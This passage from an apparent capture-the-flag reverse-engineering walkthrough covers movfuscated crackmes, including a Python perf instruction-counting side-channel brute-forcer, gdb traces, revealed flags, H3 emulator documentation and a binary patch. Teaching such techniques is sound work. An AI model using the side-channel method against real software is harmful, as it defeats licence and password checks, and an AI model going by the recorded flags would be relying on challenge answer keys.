 8049b08:	8b 15 78 d0 04 08    	mov    edx,DWORD PTR ds:0x804d078
 8049b0e:	89 50 08             	mov    DWORD PTR [eax+0x8],edx
 8049b11:	8b 15 7c d0 04 08    	mov    edx,DWORD PTR ds:0x804d07c
 8049b17:	89 50 0c             	mov    DWORD PTR [eax+0xc],edx
 8049b1a:	a1 e0 5f 1f 08       	mov    eax,ds:0x81f5fe0
 8049b1f:	85 c0                	test   eax,eax
 8049b21:	90                   	nop
 8049b22:	90                   	nop
 8049b23:	90                   	nop
 8049b24:	90                   	nop
 8049b25:	90                   	nop
 8049b26:	0f 85 ca 18 00 00    	jne    804b3f6 <strncmp@plt+0x3176>
```

This might seem like a lot, however I set a breakpoint for `0x8049a71` and stepped through this code while watching the registers. While stepping through I noticed something interesting.

We see that the `edx` register gets loaded with our first character:

```
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────
registers ────
$eax   : 0x085f6190  →   add BYTE PTR [eax], al
$ebx   : 0xf7ffd000  →  0x00026f34
$ecx   : 0x1
$edx   : 0x30
$esp   : 0x085f6124  →  0x085f6133  →  "m0vfu3c4t0r!"
$ebp   : 0x0
$esi   : 0xffffd0fc  →  0xffffd2de  →  "CLUTTER_IM_MODULE=xim"
$edi   : 0x0804829c  →   mov DWORD PTR ds:0x83f6140, esp
$eip   : 0x08049aa7  →   mov DWORD PTR [eax], edx
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
─────────────────────────────────────────────────────────────────────────────────
stack ────
0x085f6124│+0x0000: 0x085f6133  →  "m0vfu3c4t0r!"       ← $esp
0x085f6128│+0x0004: 0x0804d036  →  "m0vfu3c4t0r!"
0x085f612c│+0x0008:  or al, 0x0
0x085f6130│+0x000c: "012m0vfu3c4t0r!"
0x085f6134│+0x0010: "0vfu3c4t0r!"
0x085f6138│+0x0014: "3c4t0r!"
0x085f613c│+0x0018: 0x0a217230 ("0r!"?)
0x085f6140│+0x001c:  add BYTE PTR [eax], al
─────────────────────────────────────────────────────────────────────────────────
code:x86:32 ────
    0x8049a90                  mov    DWORD PTR ds:0x83f6174, 0x85f6190
    0x8049a9a                  mov    eax, DWORD PTR [ecx*4+0x83f6170]
    0x8049aa1                  mov    edx, DWORD PTR ds:0x804d050
 →  0x8049aa7                  mov    DWORD PTR [eax], edx
    0x8049aa9                  mov    edx, DWORD PTR ds:0x804d054
    0x8049aaf                  mov    DWORD PTR [eax+0x4], edx
    0x8049ab2                  mov    edx, DWORD PTR ds:0x804d058
    0x8049ab8                  mov    DWORD PTR [eax+0x8], edx
    0x8049abb                  mov    edx, DWORD PTR ds:0x804d05c
─────────────────────────────────────────────────────────────────────────────────
threads ────
[#0] Id 1, Name: "demov_babyc", stopped, reason: SINGLE STEP
─────────────────────────────────────────────────────────────────────────────────
trace ────
[#0] 0x8049aa7 → mov DWORD PTR [eax], edx
─────────────────────────────────────────────────────────────────────────────────
0x08049aa7 in ?? ()
gef➤
```

Proceeding that, the `edx` register gets loaded with the character `A` (`0x41`):

```
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────
registers ────
$eax   : 0x085f6190  →  0x00000030 ("0"?)
$ebx   : 0xf7ffd000  →  0x00026f34
$ecx   : 0x1
$edx   : 0x41
$esp   : 0x085f6124  →  0x085f6133  →  "m0vfu3c4t0r!"
$ebp   : 0x0
$esi   : 0xffffd0fc  →  0xffffd2de  →  "CLUTTER_IM_MODULE=xim"
$edi   : 0x0804829c  →   mov DWORD PTR ds:0x83f6140, esp
$eip   : 0x08049ab8  →   mov DWORD PTR [eax+0x8], edx
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────
stack ────
0x085f6124│+0x0000: 0x085f6133  →  "m0vfu3c4t0r!"       ← $esp
0x085f6128│+0x0004: 0x0804d036  →  "m0vfu3c4t0r!"
0x085f612c│+0x0008:  or al, 0x0
0x085f6130│+0x000c: "012m0vfu3c4t0r!"
0x085f6134│+0x0010: "0vfu3c4t0r!"
0x085f6138│+0x0014: "3c4t0r!"
0x085f613c│+0x0018: 0x0a217230 ("0r!"?)
0x085f6140│+0x001c:  add BYTE PTR [eax], al
──────────────────────────────────────────────────────────────────
code:x86:32 ────
    0x8049aa9                  mov    edx, DWORD PTR ds:0x804d054
    0x8049aaf                  mov    DWORD PTR [eax+0x4], edx
    0x8049ab2                  mov    edx, DWORD PTR ds:0x804d058
 →  0x8049ab8                  mov    DWORD PTR [eax+0x8], edx
    0x8049abb                  mov    edx, DWORD PTR ds:0x804d05c
    0x8049ac1                  mov    DWORD PTR [eax+0xc], edx
    0x8049ac4                  mov    DWORD PTR ds:0x83f6174, 0x85f61a0
    0x8049ace                  mov    eax, DWORD PTR [ecx*4+0x83f6170]
    0x8049ad5                  mov    edx, DWORD PTR ds:0x804d060
──────────────────────────────────────────────────────────────────
threads ────
[#0] Id 1, Name: "demov_babyc", stopped, reason: SINGLE STEP
──────────────────────────────────────────────────────────────────
trace ────
[#0] 0x8049ab8 → mov DWORD PTR [eax+0x8], edx
──────────────────────────────────────────────────────────────────
0x08049ab8 in ?? ()
gef➤
```

From this, I decided to see if it was checking if the first character was `A`. After trying the string `A12m0vfu3c4t0r!` I saw that we passed this check, so our assumption was correct. Turns out there are just two last checks that we need to worry about, which are here:

```
0x8049e50:      starts at 0x8049d9b
0x804a17a:      starts at 0x804a0c5
```

The process of figuring out what characters they are checking for is exactly the same as with the first character. With that, we can figure out that the first three character it is checking for is `Ah_`. THat leaves us with the string `Ah_m0vfu3c4t0r!`, which is the first `14` characters of the string, so we have what we need to make the hash for the flag.

REcon movfuscation

One thing, this wasn't a ctf challenge but a challenge released as part of a talk from an REcon talk. Let's take a look at the binary:

```
$    file movfuscated1
movfuscated1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-, stripped
$    ./movfuscated1
M/o/Vfuscator 2.0a // domas // @xoreaxeaxeax
Enter the key: 15935728
Nope.
```

So we can see it is a `32` bit binary, that is a crackme. Also as the name suggests, it has been obfuscated using Movfuscated (which obfuscates the code by using a lot of `mov` instructions in the binary). Looking at the assembly code for this binary, we can see that it is going to be a pain:

```
$    objdump -D movfuscated1 -M intel | less

.    .    .

 80482fd:       a1 c0 5d 1d 08          mov    eax,ds:0x81d5dc0
 8048302:       ba 04 00 00 00          mov    edx,0x4
 8048307:       a3 90 5c 0d 08          mov    ds:0x80d5c90,eax
 804830c:       89 15 94 5c 0d 08       mov    DWORD PTR ds:0x80d5c94,edx
 8048312:       b8 00 00 00 00          mov    eax,0x0
 8048317:       bb 00 00 00 00          mov    ebx,0x0
 804831c:       b9 00 00 00 00          mov    ecx,0x0
 8048321:       ba 00 00 00 00          mov    edx,0x0
 8048326:       c7 05 9c 5c 0d 08 00    mov    DWORD PTR ds:0x80d5c9c,0x0
 804832d:       00 00 00
 8048330:       a0 90 5c 0d 08          mov    al,ds:0x80d5c90
 8048335:       8a 1d 94 5c 0d 08       mov    bl,BYTE PTR ds:0x80d5c94
 804833b:       8a 0d 9c 5c 0d 08       mov    cl,BYTE PTR ds:0x80d5c9c
 8048341:       8a 94 18 d0 3b 06 08    mov    dl,BYTE PTR [eax+ebx*1+0x8063bd0]
 8048348:       8a b4 18 e0 3d 06 08    mov    dh,BYTE PTR [eax+ebx*1+0x8063de0]
 804834f:       8a 84 0a d0 3b 06 08    mov    al,BYTE PTR [edx+ecx*1+0x8063bd0]
 8048356:       a2 98 5c 0d 08          mov    ds:0x80d5c98,al
 804835b:       8a 84 0a e0 3d 06 08    mov    al,BYTE PTR [edx+ecx*1+0x8063de0]
 8048362:       a2 9c 5c 0d 08          mov    ds:0x80d5c9c,al
 8048367:       a0 91 5c 0d 08          mov    al,ds:0x80d5c91
```

However we don't need to reverse this binary necessarily. With a lot of different crackmes, they will essentially check the input a single character at a time. If it passes a check it will move on to the next check, and if it doesn't it just immediately exits. Thing is if we have a correct character and it goes on to the next check, that should execute more instructions than if we were to input any other incorrect character. If our assumption is correct, then we can just brute force it one character at a time, and see what character has the most instructions executed when we input it (and select that to be the correct character). Proceeding that we add it to the flag and move on to the next character until we have the flag.

For this we can use the performance analyzer perf to count the number of instructions ran (we can also count other events such as the cpu-clock or branches). Here are some examples

Count the number of instructions:

```
$    perf stat -e instructions ./movfuscated1
M/o/Vfuscator 2.0a // domas // @xoreaxeaxeax
Enter the key: 15935728
Nope.

 Performance counter stats for './movfuscated1':

           804,200      instructions

       2.940768967 seconds time elapsed
```

We can also format the output of perf to make it easier to parse:

```
$    perf stat -x : -e instructions ./movfuscated1
M/o/Vfuscator 2.0a // domas // @xoreaxeaxeax
Enter the key: 15935728
Nope.
803653::instructions:857080:100.00::::
```

Also we can specify what privilege level we want to view the events (so count the number of instructions that run at the user level :u or the kernel level :k, or the user level k):

```
$    sudo perf stat -x : -e instructions:u ./movfuscated1
M/o/Vfuscator 2.0a // domas // @xoreaxeaxeax
Enter the key: 15935728
Nope.
261507::instructions:u:790421:100.00::::
```

We will want to use u, since the instructions we want to count are being ran with user level privileges.

So we can see that the number of instructions is the first thing it gives us with this form of output. Now with this, we can write a python program based off of the earlier mentioned writeup which will simply iterate through all printable characters for each slot, choose the character which has the most instructions ran, and move on to the next character. Also one thing I originally learned how to do this from: https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html

```
# Import the libraries
from subprocess import *
import string
import sys

# Establish the command to count the number of instructions, pipe output of
command to /dev/null
command = "perf stat -x : -e instructions:u " + sys.argv[1] + " 1>/dev/null"

# Establish the empty flag
flag = ''


while True:
    # Reset the highest instruction value and corresponding character
    ins_count = 0
    count_chr = ''
    # Iterate Through all printable characters
    for i in string.printable:
        # Start a new process for the new character
        target = Popen(command, stdout=PIPE, stdin=PIPE, stderr=STDOUT,
shell=True)
        # Give the program the new input to test, and grab the store the output
of perf-stat in target_output
        target_output, _ = target.communicate(input='%s\n'%(flag + i))
        # Filter out the instruction count
        instructions = int(target_output.split(':')[0])
        # Check if the new character has the highest instruction count, and if
so record the instruction count and corresponding character
        if instructions > ins_count:
            count_chr = i
            ins_count = instructions
    # Add the character with the highest instruction count to flag, print it,
and restart
    flag += count_chr
    print flag
```

When we run it (also if you don't have the config set to run the instruction counting with perf as an unprivileged user, you will need to run this with sudo):

```
$    python rev.py ./movfuscated1
{
{R
{Re
{ReC
{ReCo
{ReCoN
{ReCoN2
{ReCoN20
{ReCoN201
{ReCoN2016
{ReCoN2016}
{ReCoN2016}d
{ReCoN2016}dn
$    ./movfuscated1
M/o/Vfuscator 2.0a // domas // @xoreaxeaxeax
Enter the key: {ReCoN2016}
YES!
```

Our script couldn't tell when the key ended, but it was obvious from the text. With that we solved the crackme!

future_fun

Let's take a look at the binary we are given:

```
$    file future_fun
future_fun: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-, not stripped
$    ./future_fun
Give the key, if you think you are worthy.

15935728
```

Reversing

So we are dealing with a 32 bit crackme here. When we take a look at the assembly code, something becomes very apparent:

```
*************************************************************
                             *                          FUNCTION
*

*************************************************************
                             undefined main()
             undefined         AL:1           <RETURN>
                             main
XREF[1]:     Entry Point(*)
        0805036a a1 88 d2        MOV        EAX,[target]
                 3f 08
        0805036f ba 6a 03        MOV        EDX,0x8805036a
                 05 88
        08050374 a3 10 d1        MOV        [alu_x],EAX
                 1f 08
        08050379 89 15 14        MOV        dword ptr [alu_y],EDX
                 d1 1f 08
        0805037f b8 00 00        MOV        EAX,0x0
                 00 00
        08050384 b9 00 00        MOV        ECX,0x0
                 00 00
        08050389 ba 00 00        MOV        EDX,0x0
                 00 00
        0805038e a0 10 d1        MOV        AL,[alu_x]
                 1f 08
        08050393 8b 0c 85        MOV        ECX,dword ptr [alu_eq + EAX*0x4]
= 24h    $
                 20 77 05 08
        0805039a 8a 15 14        MOV        DL,byte ptr [alu_y]
                 d1 1f 08
        080503a0 8a 14 11        MOV        DL,byte ptr [ECX + EDX*0x1]
        080503a3 89 15 00        MOV        dword ptr [b0],EDX
                 d1 1f 08
        080503a9 a0 11 d1        MOV        AL,[DAT_081fd111]
                 1f 08
        080503ae 8b 0c 85        MOV        ECX,dword ptr [alu_eq + EAX*0x4]
= 24h    $
                 20 77 05 08
```

This code has been obfuscated using movfuscator (https://github.com/xoreaxeaxeax /movfuscator). Obfuscating a binary essentially means changing something about it to make it harder to reverse, or understand how it works. Movfuscator is a compiler that obfuscates code by basically only uses the `mov` instruction. As such reversing this become really fun.

Starting off I used demovfuscator on it (you can find it here https://github.com/kirschju /demovfuscator). It can do a couple of things. The first is it can create a graph roughly showing the code flow of the binary. The second is it can generate an elf that replaces some of the `mov` instructions with other instructions that are typically used, which makes it a bit easier to reverse. To set it up, you can either compile it from source code (source found on the github, however there are several dependencies you will need) or just use a precompiled binary. Also you will need to install keystone, which you can find documentation about that here: https://github.com/keystone-engine/keystone

To use it to generate a graph of the code flow execution:

```
$    ./demov -g graph.dot -o patched future_fun
```

Now since the file `graph.dot` is essentially a text file containing information on a graph, we will have to use `dot` to actually draw it for us:

```
$    cat graph.dot | dot -Tpng > graph.png
```

In this case I didn't find the graph to be too helpful. However the patched binary it gave us helped me out alot. Mainly because it patched certain `call` instructions back in which helped finding out where it branched.

Now looking over the list of functions this binary has, `check_input` sounds like the most important function. Using the patched binary, we can just search for the call function to `check_input` and see that it is at `0x08051986` :

```
gef➤  b *0x8051986
Breakpoint 1 at 0x8051986
gef➤  r
Starting program: /home/guyinatuxedo/demovfuscator/patched
Give the key, if you think you are worthy.

flag{15935728}

.    .    .

────────────────────────────────────────────────────────────────────────────
stack ────
0x085fd220│+0x0000: 0x00000071 ("q"?)     ← $esp
0x085fd224│+0x0004: 0x00000066 ("f"?)
0x085fd228│+0x0008: <stack+2097032> sbb eax, 0x66000000
0x085fd22c│+0x000c: "flag{15935728}"
0x085fd230│+0x0010: "{15935728}"
0x085fd234│+0x0014: "35728}"
0x085fd238│+0x0018: 0x000a7d38 ("8}"?)
0x085fd23c│+0x001c: <stack+2097052> add BYTE PTR [eax], al
──────────────────────────────────────────────────────────────────────
code:x86:32 ────
    0x8051978 <main+5646>      mov    eax, DWORD PTR [eax*4+0x83fd270]
    0x805197f <main+5653>      mov    esp, DWORD PTR ds:0x83fd250
    0x8051985 <main+5659>      pop    eax
 →  0x8051986 <main+5660>      call   0x804896e <check_element+474>
   ↳   0x804896e <check_element+474> mov    eax, ds:0x83fd254
       0x8048973 <check_element+479> mov    ds:0x81fd230, eax
       0x8048978 <check_element+484> mov    eax, 0x83fd250
       0x804897d <check_element+489> mov    edx, 0x1
       0x8048982 <check_element+494> nop
       0x8048983 <check_element+495> mov    ds:0x83fd294, eax
──────────────────────────────────────────────────────────────── arguments
(guessed) ────
check_element+474 (
)
─────────────────────────────────────────────────────────────────────────
threads ────
[#0] Id 1, Name: "patched", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────
trace ────
[#0] 0x8051986 → main()
───────────────────────────────────────────────────────────────────────────────
gef➤
```

So we can see that it takes the two characters as an argument `q` and `f`, which one of them we gave as part of input. Turns out the first couple of characters are `flag{` (since it follows the standard flag format). We see that it is checking the characters of our input one by one, and if a character isn't correct then the program exits and stops checking characters. In addition to that we can see with the first couple of characters that we got, the string that our input is being compared to (after it is ran through some algorithm) is `qshr�r77kj{o8yr<jq7}j�;8{pyr�` (29 characters long).

Now instead of going through and statically reversing this, we can just use a side channel attack using Perf.

Perf

Perf is a performance analyzer for linux, that can tell you a lot of information on processes that run. We will use it (specifically perf stat) to do instruction counting. Essentially we will count the number of instructions that the binary has ran to help determine if we gave it a correct character. If we gave it a correct character, then it should run through the `chekc_element` function again and thus have a higher instruction count than all other characters we tried. However there are some things happening in the background that can affect this count, so it's not always 100% accurate. However what we can do is check the sequence of characters that it gives us via seeing how many checks it passes with gdb, and add the correct characters to the input. If it starts spitting out wrong characters then we will just restart the script which brute forces it. Essentially we will be using Perf to perform a side channel attack on the binary (which is an attack that we execute by monitoring the actions of a target).

Before you run perf, you may need to install this first:

```
$    sudo apt-get install linux-tools-generic
```

Also you will probably need to edit the file `/proc/sys/kernel/perf_event_paranoid`, if you want to run perf without sudo privileges.

Let's take a look at how perf runs:

```
$    perf stat -x : -e instructions:u ./future_fun
Give the key, if you think you are worthy.

15935728
0::instructions:u:5201320:100.00
```

Here we can see that it executed `5201320` instructions. Let's break down the command:

```
perf stat         Specify that we are using perf stat
-x                 Specify that we want out output in CSV format
-e                 Specify that we are going to be monitoring events
instructions:u     Specify that we are going to be monitoring userland
instruction events
./future_fun    Process that we will be anaylyzing
```

Now we can just throw together a little script to do the brute forcing. This script I got from one of my other writeups that is based off of https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html:

```
#Import the libraries
from subprocess import *
import string
import sys

#Establish the command to count the number of instructions
command = "perf stat -x : -e instructions:u " + sys.argv[1] + " 1>/dev/null"
flag = 'flag{'
while True:
    ins_count = 0
    count_chr = ''
    for i in (string.lowercase + string.digits):
        target = Popen(command, stdout=PIPE, stdin=PIPE, stderr=STDOUT,
shell=True)
        target_output, _ = target.communicate(input='%s\n'%(flag + i))
        instructions = int(target_output.split(':')[4])
        #print hex(instructions)
        if instructions > ins_count:
            count_chr = i
            ins_count = instructions
    flag += count_chr
    print flag
```

when we run it:

```
$    python rev.py ./future_fun
flag{g
flag{g0
flag{g00
flag{g00d
flag{g00dn
flag{g00dnj
```

In this case, it gave us the valid letters `g00d` before selecting an incorrect character. However we can just append those characters to our input and start over (and we can check what characters are valid by setting a breakpoint in gdb for `0x08051986` in the patched binary, and seeing what character is the last one to run through the loop). After a little bit, we get the full flag `flag{g00d_th1ng5_f0r_w41ting}` .

```
$    ./future_fun
Give the key, if you think you are worthy.

flag{g00d_th1ng5_f0r_w41ting}
Good job!
```

Custom Architecture

h3 h3machine 0

So starting off, for these challenges we will have to set up a few things before we can really dive in. We will have to set up a virtual environment for this to work.

First if you don't have it already, you will need to install pipenv:

```
$    sudo pip install pipenv
```

Then unzip the tar file and traverse into it:

```
$    tar -zxvf h3-machine-emulator.tar.gz

.    .    .

$    cd h3-machine-emulator/
```

Then setup the virtual environment:

```
$    pipenv --three install
Virtualenv already exists!
Removing existing virtualenv...
Creating a virtualenv for this project...
Pipfile: /Hackery/pod/modules/custom_architecture/h3_h3machine0/h3-machine-
emulator/Pipfile
Using /usr/bin/python3 (3.6.8) to create virtualenv...
⠋ Creating virtual environment...Using base prefix '/usr'
New python executable in /home/guyinatuxedo/.local/share/virtualenvs/h3-machine-
emulator-1bmi1h2b/bin/python3
Also creating executable in /home/guyinatuxedo/.local/share/virtualenvs/h3-
machine-emulator-1bmi1h2b/bin/python
Installing setuptools, pip, wheel...
done.
Running virtualenv with interpreter /usr/bin/python3

✔ Successfully created virtual environment!
Virtualenv location: /home/guyinatuxedo/.local/share/virtualenvs/h3-machine-
emulator-1bmi1h2b
Virtualenv already exists!
Removing existing virtualenv...
Creating a virtualenv for this project...
Pipfile: /Hackery/pod/modules/custom_architecture/h3_h3machine0/h3-machine-
emulator/Pipfile
Using /usr/bin/python3 (3.6.8) to create virtualenv...
⠋ Creating virtual environment...Using base prefix '/usr'
New python executable in /home/guyinatuxedo/.local/share/virtualenvs/h3-machine-
emulator-1bmi1h2b/bin/python3
Also creating executable in /home/guyinatuxedo/.local/share/virtualenvs/h3-
machine-emulator-1bmi1h2b/bin/python
Installing setuptools, pip, wheel...
done.
Running virtualenv with interpreter /usr/bin/python3

✔ Successfully created virtual environment!
Virtualenv location: /home/guyinatuxedo/.local/share/virtualenvs/h3-machine-
emulator-1bmi1h2b
Installing dependencies from Pipfile.lock (ed1172)...
  🐍   ████████████████████████████████ 4/4 — 00:00:02
To activate this project's virtualenv, run pipenv shell.
Alternatively, run a command inside the virtualenv with pipenv run.
```

After that you will need to compile the emulator. Just run `make` in the same directory:

```
$       make
cc --std=gnu99 -Wall -Wextra -Werror -Wpedantic   -c -o src/h3emu.o src/h3emu.c
cc --std=gnu99 -Wall -Wextra -Werror -Wpedantic   -c -o src/machine.o
src/machine.c
cc --std=gnu99 -Wall -Wextra -Werror -Wpedantic   -c -o src/opcodes.o
src/opcodes.c
cc --std=gnu99 -Wall -Wextra -Werror -Wpedantic   -c -o src/opcode_lookup.o
src/opcode_lookup.c
cc    -o h3emu src/h3emu.o src/machine.o src/opcodes.o src/opcode_lookup.o
```

So now that the setup is out of the way, let's focus on the challenge. So this module is all about dealing with a custom architecture (rather one particular instance of a custom architecture). This means that the assembly code of the binaries wasn't written in `x86`, `x64`, `MIPS`, `ARM` or anything else that you will typically see. The assembly code itself is custom and unique. Fortunately they provided some documentation in the `README.md` file that I will copy and paste here for convenience (reading this will really help). Again this following chunk of documentation was made by the challenge authors, not me:

H3 Machine

The H3 Machine is a simple computer designed for writing interesting binary reversing problems.
It is a stack machine with no general-purpose registers.

tl;dr

Each challenge is an executable image that can be run with the H3 machine emulator. If the challenge runs correctly, it will print out the flag.

You can run the challenges like:

```
./h3emu [--trace] IMAGE [ARG1 [ARG2 [...]]]
```

For example,

```
./h3emu --trace challenge1.h3i 10 20 30
```

The --trace flag will print out each instruction as it executes.

You can also get a static disassembly with:

```
./h3disasm IMAGE
```

To get the flag, you may have to modify the challenge image slightly or provide a particular set of arguments. Good luck!

Building

```
make
```

Developers

To run the assembler or code generation, you need [pipenv][] installed.

You should say

```
pipenv --three install
```

to get the virtualenv set up. After that, everything should just work.

Registers

There are four special-purpose registers which are 16 bits in length:

-   IP: Instruction Pointer
-   SP: Stack Pointer
-   FR: Flag Register

The currently-defined flags are:

- 0x0001: Zero flag: set when 0x00000000 is pushed; cleared when any other value is pushed
- 0x0002: Carry flag: set when an arithmetic operation overflows; cleared when an arithmetic operation does not overflow. Non-arithmetic instructions do not update this flag.
- 0x8000: Flag flag: set when the top value of the stack at the HALT instruction most likely contains the flag.

There's a hidden stack used for CALL/RET.

Memory

This machine operates on 32-bit words.
The total memory consists of 2^16 word-addressed 32-bit words (1 MiB).

By convention, word 0x0000 should always contain the value 0x00000000.

Loading

An executable is loaded into the machine by memory mapping the file with 1 MiB total size.
IP is initialized to 0x0001, SP, and FR are initialized to 0x0000.

Emulator

Additional command line arguments will be pushed on the stack before execution begins.

When the HALT instruction is reached, the stack and registers will be printed.

```
h3emu [--trace] IMAGE [ARG1 [ARG2 [...]]]
h3emu --version
h3emu --help
```

Disassembler

You can use the --trace flag of the emulator to get a dynamic stream of instructions as they execute. Alternatively, you can use h3disasm to get a basic static disassembly of the image.

```
h3disasm IMAGE
```

Instructions

The bits of the instruction are allocated like this:

```
0123456789abcdef 0123456789abcdef
-------- opcode
        ----- reserved
             --- addressing mode
                 ---------------- address
```

Opcodes

Opcodes can take operands.
The first operand is read from the location indicated by the address field of the instruction.
Second and further operands are always popped from the stack.
Results are pushed onto the stack.

-   0x00 HALT: Machine stops execution

Stack manip opcodes

-   0x10 DROP: Increment SP.
-   0x11 SWAP: Get two operands, then push them in reverse order.
-   0x12 PUSH: Get one operand, then push it.
-   0x13 POP: Remove the topmost stack entry, put it somewhere else according to the address.
    This operation is the only exception to the rule that the first argument is based on the address and the result goes on the stack.
    This operation works the other way around, the argument comes from the stack and the result goes to the location of the address.

Arithmetic opcodes

-   0x20 ADD: Get two operands, add them (mod 2^32)
-   0x21 SUB: Get two operands, subtract the second from the first.
-   0x22 MUL: Get two operands, multiply them.
-   0x23 DIV: Get two operands, divide the first by the second to get the integer quotient.
-   0x24 MOD: Get two operands, divide the first by the second to get the integer remainder.
-   0x25 NEGATE: Get one operand, two's-complement negate.

Logical opcodes

-   0x30 AND: Get two operands, push the bitwise-and.
-   0x31 OR: Get two operands, push the bitwise-or.
-   0x32 NOT: Get one operand, push the bitwise-inversion (one's-complement negate).
-   0x33 XOR: Get two operands, push the bitwise-exclusive-or.
-   0x34 NAND: Get two operands, push the bitwise-negated-and.
-   0x35 NOR: Get two operands, push the bitwise-negated-or.
-   0x36 ASHIFT: Get two operands, shift the second one right arithmetically by the number of bits specified in the first argument.
    "Arithmetically" means that the MSB is shifted in on the left.
    To shift left, provide a first operand less than zero.
    If the first operand has magnitude greater than 32, the result is undefined.
-   0x37 LSHIFT: Get two operands, shift the second one right logically by the number of bits specified in the first argument.
    "Logically" means that `0` is shifted in on the left.
    To shift left, provide a first operand less than zero.
    If the first operand has magnitude greater than 32, the result is undefined.

-   0x38 ROTATE: Get two operands, rotate the second one right by the number of bits specified in the first argument.
    To rotate left, provide a first operand less than zero.
    If the first operand has magnitude greater than 32, the result is undefined.
    (a.k.a. circular shift)

Compare & Jump

-   0x40 JMP: One operand. Unconditional jump to the specified address.
-   0x41 JZ: One operand. Jump to specified address if ZF is set.
-   0x41 JC: One operand. Jump to specified address if CF is set.

Flag Register

-   0x50 SETF: One operand. Set flags in the flag register indicated by the mask.
    (N.B. `SETF 8000` sets the Flag flag.
    If you insert this instruction into the image so it gets run,
    the emulator will print the output as if it were a flag,
    but it will probably be wrong.)
-   0x51 CLF: One operand. Clear flags in the flag register indicated by the mask.

Call & Return

-   0x60 CALL: One operand: address of function to call.
    The return address is stored on a separate hidden stack.
-   0x61 RET: No operands. Return.

Data

To write raw data into the image (a global constant, for instance), use this syntax:

```
foo: =01234567
```

Note that this takes a 32-bit hexadecimal value, instead of the 16-bit value used by an address.
While the label is still optional, this form isn't very useful without the label.

Addressing Modes

Null Addressing Mode (0x0) ""

The address field of the instruction is ignored.
All of the operands are popped from the stack.

Stack-Relative Addressing Mode (0x1) "+[0-9a-f]{1,4}"

The address is added (mod 2^16) to SP before the value for the first operand is read.
Any remaining operands will be popped off the stack.

```
### Absolute Addressing Mode (0x2) "\$[0-9a-f]{1,4}" or "\$&[a-zA-Z]\w*"

The address is used to read the first operand.
Any remaining operands are popped from the stack.

The second form allows referring to the address of a label in the assembly.


### Indirect Addressing Mode (0x3) "\[[+-]?[0-9a-f]{1,4}\]"

The top value of the stack is popped and added to the immediate address and the
value of the first operand is read from there.
Any remaining operands are popped from the stack.

### Immediate Addressing Mode (0x4) "[0-9a-f]{1,4}" or "&[a-zA-Z]\w*"

The address is sign-extended to 32 bits and used as the first operand.
Any remaining operands are popped from the stack.
```

So a few things of note from this documentation. This architecture is 16 bit (so the registers can only hold 16 bit values, and the total memory space is `2^16`). There are only three registers, one for the instruction pointer `IP` (does the job of the `eip/rip` registers). The second registers `SP` is the stack pointer register, which serves the same purpose as the `esp/rsp` registers. The last register `FR` is to keep track of the flags. It has three flags, which are a `Zero` flag, `Carry` flag, and a `Flag` flag. The `Zero` flag is set when `0x0` is pushed, and cleared when any other value is pushed. The `Carry` flag is set when am arithmetic operation overflows, and is cleared when an arithmetic operation does not overflow. The `Flag` register is set when the value on top of the stack most likely contains the flag (by flag I mean the actual flag we are trying to get to solve the challenge). Also one last thing, we are dealing with a little-endian architecture.

Also we can see it gives us a lot of documentation on the opcodes, however I won't really be going over that in depth since the instructions are very similar to their `x64/x86` counterparts. We can also see that we are given an assembler, dissasembler, and emulator for this architecutre. So we can write our own code for this custom architecture, run the code, and disassemble it. Let's take a look at the first challenge:

```
$    ./h3disasm challenge0.h3i
0001: 12020400 push $0004
0002: 50040080 setf 8000
0003: 00000000 halt
0004: 07530bf1
```

So we can see here there are only three instructions. It first pushes the address `0x4` onto the stack. Then it runs the `setf` operation to set the flag register to `0x8000` . When we check the documentation to see what this corresponds to, we see this is equivalent to setting the `FLAG` register, and clearing the other two. Then it runs the `halt` instruction with the `FLAG` register set which specifies that the value on top of the stack is the flag we are looking for. Let's run it:

```
$    ./h3emu challenge0.h3i
Stack:
ffff: flag{f10b5307}

Registers:
IP: 0004
SP: ffff
Flags:   F
```

So the point of this challenge was really just checking if we could get the emulator up and running. We see that it printed out the flag to us since it ran the `halt` instruction with the `F` (`FLAG`) flag set. We see that the flag is `flag{f10b5307}` , which we can see `f10b5307` is the value stored at address `4` in the code (although it is in little endian so the bytes are backwards). Just like that, we solved the challenge!

h3 h3machine1

Let's take a look at the disassembly for the binary file we are given for this challenge:

```
$    ./h3disasm challenge1.h3i
0001: 12040000 push 0000
0002: 41040800 jz 0008
0003: 12044281 push 8142
0004: 37041000 lshift 0010
0005: 1204c0a9 push a9c0
0006: 31000000 or
0007: 50040080 setf 8000
0008: 00000000 halt
```

So we can see here, the assembly code for this program consists of just 8 instructions. The second address we can see a jz instruction, which should jump to the address `0008` , which just runs the halt instruction, thus ending the program. Because of this, we will never be able to execute the instructions between `0003` and `0007` . Looking at the instructions between the addresses `0003` to `0007` we see that it pushes values onto the stack, and runs several different binary operations on it. It is probably generating the flag. Since we have the wonderful documentation, we know a lot regarding the assembly, we can simply patch the code to jump to the instruction `0003` instead of `0008` , thus running the segment of code that we should be missing. To patch it, we will need a hex editor. For this you can use bless:

```
$    sudo apt-get install bless
```

This is the program before we patch it:

```
00000000: 00 00 00 00 12 04 00 00 41 04 08 00 12 04 42 81  ........A.....B.
00000010: 37 04 10 00 12 04 c0 a9 31 00 00 00 50 04 00 80  7.......1...P...
00000020: 00 00 00 00                                      ....
```

This is the program after we patch it:

```
00000000: 00 00 00 00 12 04 00 00 41 04 03 00 12 04 42 81  ........A.....B.
00000010: 37 04 10 00 12 04 c0 a9 31 00 00 00 50 04 00 80  7.......1...P...
00000020: 00 00 00 00                                      ....
```

